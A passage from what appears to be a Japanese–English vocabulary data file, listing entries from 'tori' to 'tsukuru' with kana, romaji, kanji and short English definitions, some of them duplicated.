removed;to be obtained;to leave;to come out (e.g. photo);to be interpreted\"\n\t},\n\n\t{\n\t\t'kana':'とり',\n\t\t'romaji':'tori',\n\t\t'kanji':'鳥',\n\t\t'definition':\"bird;fowl;poultry\"\n\t},\n\n\t{\n\t\t'kana':'とりあえず',\n\t\t'romaji':'toriaezu',\n\t\t'kanji':'取りあえず',\n\t\t'definition':\"at once;first of all;for the time being\"\n\t},\n\n\t{\n\t\t'kana':'とりあげる',\n\t\t'romaji':'toriageru',\n\t\t'kanji':'取り上げる',\n\t\t'definition':\"to take up;to pick up;to disqualify;to confiscate;to deprive\"\n\t},\n\n\t{\n\t\t'kana':'とりあつかい',\n\t\t'romaji':'toriatsukai',\n\t\t'kanji':'取り扱い',\n\t\t'definition':\"treatment;service;handling;management\"\n\t},\n\n\t{\n\t\t'kana':'とりあつかう',\n\t\t'romaji':'toriatsukau',\n\t\t'kanji':'取り扱う',\n\t\t'definition':\"to treat;to handle;to deal in\"\n\t},\n\n\t{\n\t\t'kana':'とりだす',\n\t\t'romaji':'toridasu',\n\t\t'kanji':'取り出す',\n\t\t'definition':\"to take out;to produce;to pick out\"\n\t},\n\n\t{\n\t\t'kana':'とりひき',\n\t\t'romaji':'torihiki',\n\t\t'kanji':'取り引き',\n\t\t'definition':\"transactions;dealings;business\"\n\t},\n\n\t{\n\t\t'kana':'とりい',\n\t\t'romaji':'torii',\n\t\t'kanji':'鳥居',\n\t\t'definition':\"torii (Shinto shrine archway)\"\n\t},\n\n\t{\n\t\t'kana':'とりいれる',\n\t\t'romaji':'toriireru',\n\t\t'kanji':'取り入れる',\n\t\t'definition':\"to harvest;to take in;to adopt\"\n\t},\n\n\t{\n\t\t'kana':'とりかえ',\n\t\t'romaji':'torikae',\n\t\t'kanji':'取り替え',\n\t\t'definition':\"swap;exchange\"\n\t},\n\n\t{\n\t\t'kana':'とりかえる',\n\t\t'romaji':'torikaeru',\n\t\t'kanji':'取り替える',\n\t\t'definition':\"to exchange;to replace\"\n\t},\n\n\t{\n\t\t'kana':'とりけす',\n\t\t'romaji':'torikesu',\n\t\t'kanji':'取り消す',\n\t\t'definition':\"to cancel\"\n\t},\n\n\t{\n\t\t'kana':'とりくむ',\n\t\t'romaji':'torikumu',\n\t\t'kanji':'取り組む',\n\t\t'definition':\"to tackle;to wrestle with;to engage in a bout;to come to grips with\"\n\t},\n\n\t{\n\t\t'kana':'とりまく',\n\t\t'romaji':'torimaku',\n\t\t'kanji':'取り巻く',\n\t\t'definition':\"to surround;to circle;to enclose\"\n\t},\n\n\t{\n\t\t'kana':'とりまぜる',\n\t\t'romaji':'torimazeru',\n\t\t'kanji':'取り混ぜる',\n\t\t'definition':\"to mix;to put together\"\n\t},\n\n\t{\n\t\t'kana':'とりもどす',\n\t\t'romaji':'torimodosu',\n\t\t'kanji':'取り戻す',\n\t\t'definition':\"to take back;to regain\"\n\t},\n\n\t{\n\t\t'kana':'とりのぞく',\n\t\t'romaji':'torinozoku',\n\t\t'kanji':'取り除く',\n\t\t'definition':\"to remove;to take away;to set apart\"\n\t},\n\n\t{\n\t\t'kana':'とりしまり',\n\t\t'romaji':'torishimari',\n\t\t'kanji':'取り締まり',\n\t\t'definition':\"control;management;supervision\"\n\t},\n\n\t{\n\t\t'kana':'とりしまる',\n\t\t'romaji':'torishimaru',\n\t\t'kanji':'取り締まる',\n\t\t'definition':\"to manage;to control;to supervise\"\n\t},\n\n\t{\n\t\t'kana':'とりしらべる',\n\t\t'romaji':'torishiraberu',\n\t\t'kanji':'取り調べる',\n\t\t'definition':\"to investigate;to examine\"\n\t},\n\n\t{\n\t\t'kana':'とりたてる',\n\t\t'romaji':'toritateru',\n\t\t'kanji':'取り立てる',\n\t\t'definition':\"to collect;to extort;to appoint;to promote\"\n\t},\n\n\t{\n\t\t'kana':'とりつぐ',\n\t\t'romaji':'toritsugu',\n\t\t'kanji':'取り次ぐ',\n\t\t'definition':\"to act as an agent for;to announce (someone);to convey (a message)\"\n\t},\n\n\t{\n\t\t'kana':'とりつける',\n\t\t'romaji':'toritsukeru',\n\t\t'kanji':'取り付ける',\n\t\t'definition':\"to furnish;to install;to get someone's agreement\"\n\t},\n\n\t{\n\t\t'kana':'とりわけ',\n\t\t'romaji':'toriwake',\n\t\t'kanji':'副',\n\t\t'definition':\"especially;above all\"\n\t},\n\n\t{\n\t\t'kana':'とりわけ',\n\t\t'romaji':'toriwake',\n\t\t'kanji':'取り分',\n\t\t'definition':\"especially;above all\"\n\t},\n\n\t{\n\t\t'kana':'とりよせる',\n\t\t'romaji':'toriyoseru',\n\t\t'kanji':'取り寄せる',\n\t\t'definition':\"to order;to send away for\"\n\t},\n\n\t{\n\t\t'kana':'とろける',\n\t\t'romaji':'torokeru',\n\t\t'kanji':'蕩ける',\n\t\t'definition':\"to be enchanted with\"\n\t},\n\n\t{\n\t\t'kana':'とる',\n\t\t'romaji':'toru',\n\t\t'kanji':'撮る',\n\t\t'definition':\"to take (a photo);to make (a film)\"\n\t},\n\n\t{\n\t\t'kana':'とる',\n\t\t'romaji':'toru',\n\t\t'kanji':'捕る',\n\t\t'definition':\"to take;to catch (fish);to capture\"\n\t},\n\n\t{\n\t\t'kana':'とる',\n\t\t'romaji':'toru',\n\t\t'kanji':'採る',\n\t\t'definition':\"1. to adopt (measure proposal); 2. to pick (fruit); 3. to assume (attitude)\"\n\t},\n\n\t{\n\t\t'kana':'とる',\n\t\t'romaji':'toru',\n\t\t'kanji':'取る',\n\t\t'definition':\"to take;to pick up;to harvest;to earn;to choose\"\n\t},\n\n\t{\n\t\t'kana':'とっさ',\n\t\t'romaji':'tosa',\n\t\t'kanji':'咄嗟',\n\t\t'definition':\"moment;instant\"\n\t},\n\n\t{\n\t\t'kana':'とし',\n\t\t'romaji':'toshi',\n\t\t'kanji':'年',\n\t\t'definition':\"year;age\"\n\t},\n\n\t{\n\t\t'kana':'とし',\n\t\t'romaji':'toshi',\n\t\t'kanji':'都市',\n\t\t'definition':\"town;city;municipal;urban\"\n\t},\n\n\t{\n\t\t'kana':'とし',\n\t\t'romaji':'toshi',\n\t\t'kanji':'年',\n\t\t'definition':\"year;age\"\n\t},\n\n\t{\n\t\t'kana':'としごろ',\n\t\t'romaji':'toshigoro',\n\t\t'kanji':'年頃',\n\t\t'definition':\"age;marriageable age;age of puberty;adolescence;for some years\"\n\t},\n\n\t{\n\t\t'kana':'としん',\n\t\t'romaji':'toshin',\n\t\t'kanji':'都心',\n\t\t'definition':\"heart (of city)\"\n\t},\n\n\t{\n\t\t'kana':'としつき',\n\t\t'romaji':'toshitsuki',\n\t\t'kanji':'年月',\n\t\t'definition':\"months and years\"\n\t},\n\n\t{\n\t\t'kana':'としつき',\n\t\t'romaji':'toshitsuki',\n\t\t'kanji':'年月',\n\t\t'definition':\"months and years\"\n\t},\n\n\t{\n\t\t'kana':'としより',\n\t\t'romaji':'toshiyori',\n\t\t'kanji':'年寄り',\n\t\t'definition':\"old people;the aged\"\n\t},\n\n\t{\n\t\t'kana':'としょ',\n\t\t'romaji':'tosho',\n\t\t'kanji':'図書',\n\t\t'definition':\"books\"\n\t},\n\n\t{\n\t\t'kana':'とたん',\n\t\t'romaji':'totan',\n\t\t'kanji':'途端',\n\t\t'definition':\"just (now at the moment etc.)\"\n\t},\n\n\t{\n\t\t'kana':'とって',\n\t\t'romaji':'tote',\n\t\t'kanji':'取っ手',\n\t\t'definition':\"handle;grip;knob\"\n\t},\n\n\t{\n\t\t'kana':'とても',\n\t\t'romaji':'totemo',\n\t\t'kanji':'迚も',\n\t\t'definition':\"very;awfully;exceedingly\"\n\t},\n\n\t{\n\t\t'kana':'ととのえる',\n\t\t'romaji':'totonoeru',\n\t\t'kanji':'整える',\n\t\t'definition':\"to put in order;to get ready;to arrange;to adjust\"\n\t},\n\n\t{\n\t\t'kana':'ととのう',\n\t\t'romaji':'totonou',\n\t\t'kanji':'整う',\n\t\t'definition':\"to be prepared;to be in order;to be put in order;to be arranged\"\n\t},\n\n\t{\n\t\t'kana':'とつじょ',\n\t\t'romaji':'totsujyo',\n\t\t'kanji':'突如',\n\t\t'definition':\"suddenly;all of a sudden\"\n\t},\n\n\t{\n\t\t'kana':'とつぜん',\n\t\t'romaji':'totsuzen',\n\t\t'kanji':'突然',\n\t\t'definition':\"abruptly;suddenly;all at once\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'等',\n\t\t'definition':\"et cetera;etc.;and the like\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'等',\n\t\t'definition':\"et cetera;etc.;and the like\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'党',\n\t\t'definition':\"party (political)\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'等',\n\t\t'definition':\"et cetera;etc.;and the like\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'塔',\n\t\t'definition':\"tower;pagoda\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'党',\n\t\t'definition':\"party (political)\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'棟',\n\t\t'definition':\"place;section;building\"\n\t},\n\n\t{\n\t\t'kana':'とう',\n\t\t'romaji':'tou',\n\t\t'kanji':'問う',\n\t\t'definition':\"to ask;to question;to charge (i.e. with a crime);to accuse;without regard to (neg)\"\n\t},\n\n\t{\n\t\t'kana':'とうあん',\n\t\t'romaji':'touan',\n\t\t'kanji':'答案',\n\t\t'definition':\"examination paper;examination script\"\n\t},\n\n\t{\n\t\t'kana':'とうばん',\n\t\t'romaji':'touban',\n\t\t'kanji':'当番',\n\t\t'definition':\"being on duty\"\n\t},\n\n\t{\n\t\t'kana':'とうぼう',\n\t\t'romaji':'toubou',\n\t\t'kanji':'逃亡',\n\t\t'definition':\"escape\"\n\t},\n\n\t{\n\t\t'kana':'とうぶん',\n\t\t'romaji':'toubun',\n\t\t'kanji':'等分',\n\t\t'definition':\"division into equal parts\"\n\t},\n\n\t{\n\t\t'kana':'とうちゃく',\n\t\t'romaji':'touchaku',\n\t\t'kanji':'到着',\n\t\t'definition':\"arrival\"\n\t},\n\n\t{\n\t\t'kana':'とうだい',\n\t\t'romaji':'toudai',\n\t\t'kanji':'灯台',\n\t\t'definition':\"lighthouse\"\n\t},\n\n\t{\n\t\t'kana':'とうげ',\n\t\t'romaji':'touge',\n\t\t'kanji':'峠',\n\t\t'definition':\"ridge;(mountain) pass;difficult part\"\n\t},\n\n\t{\n\t\t'kana':'とうぎ',\n\t\t'romaji':'tougi',\n\t\t'kanji':'討議',\n\t\t'definition':\"debate;discussion\"\n\t},\n\n\t{\n\t\t'kana':'とうごう',\n\t\t'romaji':'tougou',\n\t\t'kanji':'統合',\n\t\t'definition':\"integration;unification;synthesis\"\n\t},\n\n\t{\n\t\t'kana':'とうひょう',\n\t\t'romaji':'touhyou',\n\t\t'kanji':'投票',\n\t\t'definition':\"voting;poll\"\n\t},\n\n\t{\n\t\t'kana':'とういつ',\n\t\t'romaji':'touitsu',\n\t\t'kanji':'統一',\n\t\t'definition':\"unity;consolidation;uniformity;unification;compatible\"\n\t},\n\n\t{\n\t\t'kana':'とうじ',\n\t\t'romaji':'touji',\n\t\t'kanji':'当時',\n\t\t'definition':\"at that time;in those days\"\n\t},\n\n\t{\n\t\t'kana':'とうじ',\n\t\t'romaji':'touji',\n\t\t'kanji':'統治',\n\t\t'definition':\"rule;reign;government;governing\"\n\t},\n\n\t{\n\t\t'kana':'とうじつ',\n\t\t'romaji':'toujitsu',\n\t\t'kanji':'当日',\n\t\t'definition':\"appointed day;very day\"\n\t},\n\n\t{\n\t\t'kana':'とうじょう',\n\t\t'romaji':'toujyou',\n\t\t'kanji':'登場',\n\t\t'definition':\"entry (on stage)\"\n\t},\n\n\t{\n\t\t'kana':'とうけい',\n\t\t'romaji':'toukei',\n\t\t'kanji':'統計',\n\t\t'definition':\"statistics\"\n\t},\n\n\t{\n\t\t'kana':'とうき',\n\t\t'romaji':'touki',\n\t\t'kanji':'陶器',\n\t\t'definition':\"pottery;ceramics\"\n\t},\n\n\t{\n\t\t'kana':'とうこう',\n\t\t'romaji':'toukou',\n\t\t'kanji':'登校',\n\t\t'definition':\"attendance (at school)\"\n\t},\n\n\t{\n\t\t'kana':'とうきゅう',\n\t\t'romaji':'toukyuu',\n\t\t'kanji':'等級',\n\t\t'definition':\"grade;class\"\n\t},\n\n\t{\n\t\t'kana':'とうめい',\n\t\t'romaji':'toumei',\n\t\t'kanji':'透明',\n\t\t'definition':\"transparency;cleanness\"\n\t},\n\n\t{\n\t\t'kana':'とうみん',\n\t\t'romaji':'toumin',\n\t\t'kanji':'冬眠',\n\t\t'definition':\"hibernation;winter sleep\"\n\t},\n\n\t{\n\t\t'kana':'とうなん',\n\t\t'romaji':'tounan',\n\t\t'kanji':'盗難',\n\t\t'definition':\"theft;robbery\"\n\t},\n\n\t{\n\t\t'kana':'とうにん',\n\t\t'romaji':'tounin',\n\t\t'kanji':'当人',\n\t\t'definition':\"the one concerned;the said person\"\n\t},\n\n\t{\n\t\t'kana':'とうにゅう',\n\t\t'romaji':'tounyuu',\n\t\t'kanji':'投入',\n\t\t'definition':\"throw;investment;making (an electrical circuit)\"\n\t},\n\n\t{\n\t\t'kana':'とうろく',\n\t\t'romaji':'touroku',\n\t\t'kanji':'登録',\n\t\t'definition':\"registration;register;entry;record\"\n\t},\n\n\t{\n\t\t'kana':'とうろん',\n\t\t'romaji':'touron',\n\t\t'kanji':'討論',\n\t\t'definition':\"debate;discussion\"\n\t},\n\n\t{\n\t\t'kana':'とうさん',\n\t\t'romaji':'tousan',\n\t\t'kanji':'倒産',\n\t\t'definition':\"(corporate) bankruptcy;insolvency\"\n\t},\n\n\t{\n\t\t'kana':'とうせい',\n\t\t'romaji':'tousei',\n\t\t'kanji':'統制',\n\t\t'definition':\"regulation;control\"\n\t},\n\n\t{\n\t\t'kana':'とうせん',\n\t\t'romaji':'tousen',\n\t\t'kanji':'当選',\n\t\t'definition':\"being elected;winning the prize\"\n\t},\n\n\t{\n\t\t'kana':'とうし',\n\t\t'romaji':'toushi',\n\t\t'kanji':'投資',\n\t\t'definition':\"investment\"\n\t},\n\n\t{\n\t\t'kana':'とうしょ',\n\t\t'romaji':'tousho',\n\t\t'kanji':'投書',\n\t\t'definition':\"letter to the editor;letter from a reader;contribution\"\n\t},\n\n\t{\n\t\t'kana':'とうそつ',\n\t\t'romaji':'tousotsu',\n\t\t'kanji':'統率',\n\t\t'definition':\"command;lead;generalship;leadership\"\n\t},\n\n\t{\n\t\t'kana':'とうそう',\n\t\t'romaji':'tousou',\n\t\t'kanji':'逃走',\n\t\t'definition':\"flight;desertion;escape\"\n\t},\n\n\t{\n\t\t'kana':'とうたつ',\n\t\t'romaji':'toutatsu',\n\t\t'kanji':'到達',\n\t\t'definition':\"reaching;attaining;arrival\"\n\t},\n\n\t{\n\t\t'kana':'とうてい',\n\t\t'romaji':'toutei',\n\t\t'kanji':'到底',\n\t\t'definition':\"(cannot) possibly\"\n\t},\n\n\t{\n\t\t'kana':'とうとう',\n\t\t'romaji':'toutou',\n\t\t'kanji':'丁々',\n\t\t'definition':\"clashing of swords;felling of trees;ringing of an ax\"\n\t},\n\n\t{\n\t\t'kana':'とうよう',\n\t\t'romaji':'touyou',\n\t\t'kanji':'東洋',\n\t\t'definition':\"Orient\"\n\t},\n\n\t{\n\t\t'kana':'とうゆ',\n\t\t'romaji':'touyu',\n\t\t'kanji':'灯油',\n\t\t'definition':\"lamp oil;kerosene\"\n\t},\n\n\t{\n\t\t'kana':'とうざい',\n\t\t'romaji':'touzai',\n\t\t'kanji':'東西',\n\t\t'definition':\"East and West;whole country;Orient and Occident;Your attention please\"\n\t},\n\n\t{\n\t\t'kana':'とざん',\n\t\t'romaji':'tozan',\n\t\t'kanji':'登山',\n\t\t'definition':\"mountain-climbing\"\n\t},\n\n\t{\n\t\t'kana':'つば',\n\t\t'romaji':'tsuba',\n\t\t'kanji':'唾',\n\t\t'definition':\"saliva;sputum\"\n\t},\n\n\t{\n\t\t'kana':'つばさ',\n\t\t'romaji':'tsubasa',\n\t\t'kanji':'翼',\n\t\t'definition':\"wings\"\n\t},\n\n\t{\n\t\t'kana':'つぼ',\n\t\t'romaji':'tsubo',\n\t\t'kanji':'壷',\n\t\t'definition':\"tsubo jar;pot;vase\"\n\t},\n\n\t{\n\t\t'kana':'つぼみ',\n\t\t'romaji':'tsubomi',\n\t\t'kanji':'蕾',\n\t\t'definition':\"bud;flower bud\"\n\t},\n\n\t{\n\t\t'kana':'つぶ',\n\t\t'romaji':'tsubu',\n\t\t'kanji':'粒',\n\t\t'definition':\"grain\"\n\t},\n\n\t{\n\t\t'kana':'つぶれる',\n\t\t'romaji':'tsubureru',\n\t\t'kanji':'潰れる',\n\t\t'definition':\"to be smashed;to go bankrupt\"\n\t},\n\n\t{\n\t\t'kana':'つぶる',\n\t\t'romaji':'tsuburu',\n\t\t'kanji':'瞑る',\n\t\t'definition':\"to close the eyes\"\n\t},\n\n\t{\n\t\t'kana':'つぶす',\n\t\t'romaji':'tsubusu',\n\t\t'kanji':'潰す',\n\t\t'definition':\"to smash;to waste\"\n\t},\n\n\t{\n\t\t'kana':'つぶやく',\n\t\t'romaji':'tsubuyaku',\n\t\t'kanji':'呟く',\n\t\t'definition':\"to mutter;to murmur\"\n\t},\n\n\t{\n\t\t'kana':'つち',\n\t\t'romaji':'tsuchi',\n\t\t'kanji':'土',\n\t\t'definition':\"earth;soil\"\n\t},\n\n\t{\n\t\t'kana':'つち',\n\t\t'romaji':'tsuchi',\n\t\t'kanji':'土',\n\t\t'definition':\"earth;soil\"\n\t},\n\n\t{\n\t\t'kana':'つちゅう',\n\t\t'romaji':'tsuchuu',\n\t\t'kanji':'途中',\n\t\t'definition':\"on the way;en route\"\n\t},\n\n\t{\n\t\t'kana':'つづける',\n\t\t'romaji':'tsudukeru',\n\t\t'kanji':'続ける',\n\t\t'definition':\"to continue;to keep up;to keep on\"\n\t},\n\n\t{\n\t\t'kana':'つづける',\n\t\t'romaji':'tsudukeru',\n\t\t'kanji':'続ける',\n\t\t'definition':\"to continue;to keep up;to keep on\"\n\t},\n\n\t{\n\t\t'kana':'つづき',\n\t\t'romaji':'tsuduki',\n\t\t'kanji':'続き',\n\t\t'definition':\"sequel;continuation;(also suffix) continuation (in time and space);second series;succession;spell\"\n\t},\n\n\t{\n\t\t'kana':'つづく',\n\t\t'romaji':'tsuduku',\n\t\t'kanji':'続く',\n\t\t'definition':\"to be continued\"\n\t},\n\n\t{\n\t\t'kana':'つづく',\n\t\t'romaji':'tsuduku',\n\t\t'kanji':'続く',\n\t\t'definition':\"to be continued\"\n\t},\n\n\t{\n\t\t'kana':'つえ',\n\t\t'romaji':'tsue',\n\t\t'kanji':'杖',\n\t\t'definition':\"cane\"\n\t},\n\n\t{\n\t\t'kana':'つげる',\n\t\t'romaji':'tsugeru',\n\t\t'kanji':'告げる',\n\t\t'definition':\"to inform\"\n\t},\n\n\t{\n\t\t'kana':'つぎめ',\n\t\t'romaji':'tsugime',\n\t\t'kanji':'継ぎ目',\n\t\t'definition':\"a joint;joining point\"\n\t},\n\n\t{\n\t\t'kana':'つぎつぎ',\n\t\t'romaji':'tsugitsugi',\n\t\t'kanji':'次々',\n\t\t'definition':\"in succession;one by one\"\n\t},\n\n\t{\n\t\t'kana':'つごう',\n\t\t'romaji':'tsugou',\n\t\t'kanji':'都合',\n\t\t'definition':\"circumstances;condition;convenience\"\n\t},\n\n\t{\n\t\t'kana':'つぐ',\n\t\t'romaji':'tsugu',\n\t\t'kanji':'次ぐ',\n\t\t'definition':\"to rank next to;to come after\"\n\t},\n\n\t{\n\t\t'kana':'つぐ',\n\t\t'romaji':'tsugu',\n\t\t'kanji':'継ぐ',\n\t\t'definition':\"to succeed\"\n\t},\n\n\t{\n\t\t'kana':'つぐ',\n\t\t'romaji':'tsugu',\n\t\t'kanji':'接ぐ',\n\t\t'definition':\"to join;to piece together;to set (bones);to graft (trees)\"\n\t},\n\n\t{\n\t\t'kana':'つい',\n\t\t'romaji':'tsui',\n\t\t'kanji':'',\n\t\t'definition':\"just (now);quite (near);unintentionally;unconsciously;by mistake;against one's better judgement\"\n\t},\n\n\t{\n\t\t'kana':'ついで',\n\t\t'romaji':'tsuide',\n\t\t'kanji':'次いで',\n\t\t'definition':\"next;secondly;subsequently\"\n\t},\n\n\t{\n\t\t'kana':'ついほう',\n\t\t'romaji':'tsuihou',\n\t\t'kanji':'追放',\n\t\t'definition':\"exile;banishment\"\n\t},\n\n\t{\n\t\t'kana':'ついか',\n\t\t'romaji':'tsuika',\n\t\t'kanji':'追加',\n\t\t'definition':\"addition;supplement;appendix\"\n\t},\n\n\t{\n\t\t'kana':'ついきゅう',\n\t\t'romaji':'tsuikyuu',\n\t\t'kanji':'追及',\n\t\t'definition':\"gaining on;carrying out;solving (crime)\"\n\t},\n\n\t{\n\t\t'kana':'ついに',\n\t\t'romaji':'tsuini',\n\t\t'kanji':'遂に',\n\t\t'definition':\"finally;at last\"\n\t},\n\n\t{\n\t\t'kana':'ついらく',\n\t\t'romaji':'tsuiraku',\n\t\t'kanji':'墜落',\n\t\t'definition':\"falling;crashing\"\n\t},\n\n\t{\n\t\t'kana':'ついせき',\n\t\t'romaji':'tsuiseki',\n\t\t'kanji':'追跡',\n\t\t'definition':\"pursuit\"\n\t},\n\n\t{\n\t\t'kana':'ついやす',\n\t\t'romaji':'tsuiyasu',\n\t\t'kanji':'費やす',\n\t\t'definition':\"to spend;to devote;to waste\"\n\t},\n\n\t{\n\t\t'kana':'つじつま',\n\t\t'romaji':'tsujitsuma',\n\t\t'kanji':'辻褄',\n\t\t'definition':\"coherence;consistency\"\n\t},\n\n\t{\n\t\t'kana':'つかえる',\n\t\t'romaji':'tsukaeru',\n\t\t'kanji':'仕える',\n\t\t'definition':\"to serve;to work for\"\n\t},\n\n\t{\n\t\t'kana':'つかい',\n\t\t'romaji':'tsukai',\n\t\t'kanji':'遣い',\n\t\t'definition':\"mission;simple task;doing\"\n\t},\n\n\t{\n\t\t'kana':'つかいみち',\n\t\t'romaji':'tsukaimichi',\n\t\t'kanji':'使い道',\n\t\t'definition':\"use\"\n\t},\n\n\t{\n\t\t'kana':'つかまえる',\n\t\t'romaji':'tsukamaeru',\n\t\t'kanji':'捕まえる',\n\t\t'definition':\"to catch;to arrest;to seize\"\n\t},\n\n\t{\n\t\t'kana':'つかまる',\n\t\t'romaji':'tsukamaru',\n\t\t'kanji':'捕まる',\n\t\t'definition':\"to be caught;to be arrested\"\n\t},\n\n\t{\n\t\t'kana':'つかむ',\n\t\t'romaji':'tsukamu',\n\t\t'kanji':'掴む',\n\t\t'definition':\"to seize;to catch;to grasp;to grip;to grab;to hold;to catch hold of;to lay one's hands on\"\n\t},\n\n\t{\n\t\t'kana':'つかのま',\n\t\t'romaji':'tsukanoma',\n\t\t'kanji':'束の間',\n\t\t'definition':\"moment;brief time;brief;transient\"\n\t},\n\n\t{\n\t\t'kana':'つかれ',\n\t\t'romaji':'tsukare',\n\t\t'kanji':'疲れ',\n\t\t'definition':\"tiredness;fatigue\"\n\t},\n\n\t{\n\t\t'kana':'つかれる',\n\t\t'romaji':'tsukareru',\n\t\t'kanji':'疲れる',\n\t\t'definition':\"to get tired;to tire\"\n\t},\n\n\t{\n\t\t'kana':'つかさどる',\n\t\t'romaji':'tsukasadoru',\n\t\t'kanji':'司る',\n\t\t'definition':\"to rule;to govern;to administer\"\n\t},\n\n\t{\n\t\t'kana':'つかう',\n\t\t'romaji':'tsukau',\n\t\t'kanji':'使う',\n\t\t'definition':\"to use;to handle;to manipulate;to employ;to need;to want;to spend;to consume;to speak (English);to practise (fencing);to take (one's lunch);to circulate (bad money)\"\n\t},\n\n\t{\n\t\t'kana':'つけくわえる',\n\t\t'romaji':'tsukekuwaeru',\n\t\t'kanji':'付け加える',\n\t\t'definition':\"to add one thing to another\"\n\t},\n\n\t{\n\t\t'kana':'つける',\n\t\t'romaji':'tsukeru',\n\t\t'kanji':'漬ける',\n\t\t'definition':\"to soak;to moisten;to pickle\"\n\t},\n\n\t{\n\t\t'kana':'つける',\n\t\t'romaji':'tsukeru',\n\t\t'kanji':'浸ける',\n\t\t'definition':\"to dip in;to soak\"\n\t},\n\n\t{\n\t\t'kana':'つける',\n\t\t'romaji':'tsukeru',\n\t\t'kanji':'点ける',\n\t\t'definition':\"to turn on;to switch on;to light up\"\n\t},\n\n\t{\n\t\t'kana':'つける',\n\t\t'romaji':'tsukeru',\n\t\t'kanji':'着ける',\n\t\t'definition':\"to arrive;to wear;to put on\"\n\t},\n\n\t{\n\t\t'kana':'つける',\n\t\t'romaji':'tsukeru',\n\t\t'kanji':'付ける',\n\t\t'definition':\"to attach;to join;to stick;to glue;to fasten;to sew on;to furnish (a house with);to wear;to put on;to make an entry;to appraise;to set (a price);to apply (ointment);to bring alongside;to place (under guard or doctor);to follow;to shadow;to add;to append;t\"\n\t},\n\n\t{\n\t\t'kana':'つき',\n\t\t'romaji':'tsuki',\n\t\t'kanji':'付き',\n\t\t'definition':\"attached to;impression;sociality;appearance;furnished with;under;to\"\n\t},\n\n\t{\n\t\t'kana':'つき',\n\t\t'romaji':'tsuki',\n\t\t'kanji':'月',\n\t\t'definition':\"moon;month\"\n\t},\n\n\t{\n\t\t'kana':'つき',\n\t\t'romaji':'tsuki',\n\t\t'kanji':'月',\n\t\t'definition':\"moon;month\"\n\t},\n\n\t{\n\t\t'kana':'つき',\n\t\t'romaji':'tsuki',\n\t\t'kanji':'月',\n\t\t'definition':\"moon;month\"\n\t},\n\n\t{\n\t\t'kana':'つきあい',\n\t\t'romaji':'tsukiai',\n\t\t'kanji':'付き合い',\n\t\t'definition':\"association;socializing;fellowship\"\n\t},\n\n\t{\n\t\t'kana':'つきあたり',\n\t\t'romaji':'tsukiatari',\n\t\t'kanji':'突き当たり',\n\t\t'definition':\"end (e.g. of street)\"\n\t},\n\n\t{\n\t\t'kana':'つきあたる',\n\t\t'romaji':'tsukiataru',\n\t\t'kanji':'突き当たる',\n\t\t'definition':\"to run into;to collide with\"\n\t},\n\n\t{\n\t\t'kana':'つきあう',\n\t\t'romaji':'tsukiau',\n\t\t'kanji':'付き合う',\n\t\t'definition':\"to associate with;to keep company with;to get on with\"\n\t},\n\n\t{\n\t\t'kana':'つきなみ',\n\t\t'romaji':'tsukinami',\n\t\t'kanji':'月並み',\n\t\t'definition':\"every month;common\"\n\t},\n\n\t{\n\t\t'kana':'つきる',\n\t\t'romaji':'tsukiru',\n\t\t'kanji':'尽きる',\n\t\t'definition':\"to be used up;to be run out;to be exhausted;to be consumed;to come to an end\"\n\t},\n\n\t{\n\t\t'kana':'つっこむ',\n\t\t'romaji':'tsukkomu',\n\t\t'kanji':'突っ込む',\n\t\t'definition':\"to plunge into;to go into deeply\"\n\t},\n\n\t{\n\t\t'kana':'つく',\n\t\t'romaji':'tsuku',\n\t\t'kanji':'吐く',\n\t\t'definition':\"1. to breathe; 2. to tell (lies); 3. to vomit;to disgorge\"\n\t},\n\n\t{\n\t\t'kana':'つく',\n\t\t'romaji':'tsuku',\n\t\t'kanji':'突く',\n\t\t'definition':\"1. to thrust;to strike;to attack; 2. to poke;to nudge;to pick at\"\n\t},\n\n\t{\n\t\t'kana':'つく',\n\t\t'romaji':'tsuku',\n\t\t'kanji':'点く',\n\t\t'definition':\"to catch fire;(electricity) comes on\"\n\t},\n\n\t{\n\t\t'kana':'つく',\n\t\t'romaji':'tsuku',\n\t\t'kanji':'就く',\n\t\t'definition':\"to settle in (place);to take (seat position);to study (under teacher)\"\n\t},\n\n\t{\n\t\t'kana':'つく',\n\t\t'romaji':'tsuku',\n\t\t'kanji':'着く',\n\t\t'definition':\"to arrive at;to reach\"\n\t},\n\n\t{\n\t\t'kana':'つく',\n\t\t'romaji':'tsuku',\n\t\t'kanji':'付く',\n\t\t'definition':\"to adjoin;to be attached;to adhere;to be connected with;to be dyed;to be stained;to be scarred;to be recorded;to start (fires);to follow;to become allied to;to accompany;to study with;to increase;to be added to\"\n\t},\n\n\t{\n\t\t'kana':'つくえ',\n\t\t'romaji':'tsukue',\n\t\t'kanji':'机',\n\t\t'definition':\"desk\"\n\t},\n\n\t{\n\t\t'kana':'つくり',\n\t\t'romaji':'tsukuri',\n\t\t'kanji':'造り',\n\t\t'definition':\"make up;structure;physique\"\n\t},\n\n\t{\n\t\t'kana':'つくり',\n\t\t'romaji':'tsukuri',\n\t\t'kanji':'作り',\n\t\t'definition':\"make-up;sliced raw fish\"\n\t},\n\n\t{\n\t\t'kana':'つくろう',\n\t\t'romaji':'tsukurou',\n\t\t'kanji':'繕う',\n\t\t'definition':\"to mend;to repair;to fix;to patch up;to darn;to tidy up;to adjust;to trim\"\n\t},\n\n\t{\n\t\t'kana':'つくる',\n\t\t'romaji':'tsukuru',\n\t\t'kanji':'造る',\n\t\t'definition':\"to make;to create;to manufacture;to draw up;to write;to compose;to build;to coin;to cultivate;to organize;to establish;to make up (a face);to trim (a tree);to fabricate;to prepare (food);to commit (sin);to construct\"\n\t},\n\n\t{\n\t\t'kana':'つくる',\n\t\t'romaji':'tsukuru',\n\t\t'kanji':'作る',\n\t\t'definition':\"to make;to create;to manufacture;to draw up;to write;to compose;to build;to coin;to cultivate;to organize;to establish;to make up (a face);to trim (a tree);to fabricate;to prepare (food);to commit (sin);to 